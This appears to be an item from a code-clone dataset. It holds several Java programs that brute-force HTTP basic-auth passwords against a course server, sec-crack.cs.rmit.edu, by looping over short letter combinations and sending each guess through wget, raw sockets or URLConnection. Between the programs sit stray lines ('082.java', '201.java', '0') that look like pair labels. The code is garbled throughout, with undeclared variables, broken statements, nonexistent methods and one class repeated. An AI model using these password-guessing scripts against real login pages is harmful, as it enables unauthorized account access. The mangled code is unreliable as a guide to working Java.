import java.io.*; import java.util.*; class BruteForce{ public static void main(String args[]){ String pass,s; char a,b,c; int z=0; int attempt=0; Process p; char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q', 'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h', 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; z = System.currentTimeMillis(); int at=0; for(int i=0;i<password.length;i++){ for(int j=0;j<password.length;j++){ for(int k=0;k<password.length;k++){ pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]); try { System.out.println("Trying crack using: "+pass); at++; p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); try{ p.waitFor(); } catch(Exception q){} z = p.exitValue(); if(z==0) { finish = System.currentTimeMillis(); float time = finish - t; System.out.println("PASSWORD CRACKED:"+ pass + " in " + at + " attempts " ); System.out.println("PASSWORD CRACKED:"+ pass + " in " + time + " milliseconds " ); System.exit(0); } } catch (IOException e) { System.out.println("Exception happened"); e.printStackTrace(); System.exit(-1); } } } } } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
082.java
201.java
0
import java.net.*; import java.util.*; import java.io.*; public class BruteForce { URL url; URLConnection uc; String username, password, encoding; int pretime, posttime; String c ; public BruteForce(){ pretime = new Date().getTime(); try{ url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); }catch(MalformedURLException e){ e.printStackTrace(); } username = ""; } public void checkPassword(char[] pw){ try{ password = new String(pw); encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes()); uc = url.openConnection(); uc.setRequestProperty("Authorization", " " + encoding); bf = uc.getHeaderField(null); System.out.println(password); if(bf.equals("HTTP/1.1 200 OK")){ posttime = new Date().getTime(); diff = posttime - pretime; System.out.println(username+":"+password); System.out.println(); System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds"); System.exit(0); } }catch(MalformedURLException e){ e.printStackTrace(); }catch(IOException ioe){ ioe.printStackTrace(); } } public static void main (String[] args){ BruteForce bf = new BruteForce(); char i, j, k; for(i='a'; i<='z'; i++){ for(j='a'; j<='z'; j++){ for(k='a'; k<='z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='Z'; i++){ for(j='A'; j<='Z'; j++){ for(k='A'; k<='Z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='Z'; i++){ for(j='a'; j<='z'; j++){ for(k='a'; k<='z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } for(j='A'; j<='Z'; j++){ for(k='a'; k<='z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } for(j='a'; j<='z'; j++){ for(k='A'; k<='Z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='a'; i<='z'; i++){ for(j='A'; j<='Z'; j++){ for(k='A'; k<='Z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } for(j='A'; j<='z'; j++){ if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){ continue; } char[] pw = {i, j}; bf.checkPassword(pw); } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } char[] pw = {i}; bf.checkPassword(pw); } } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }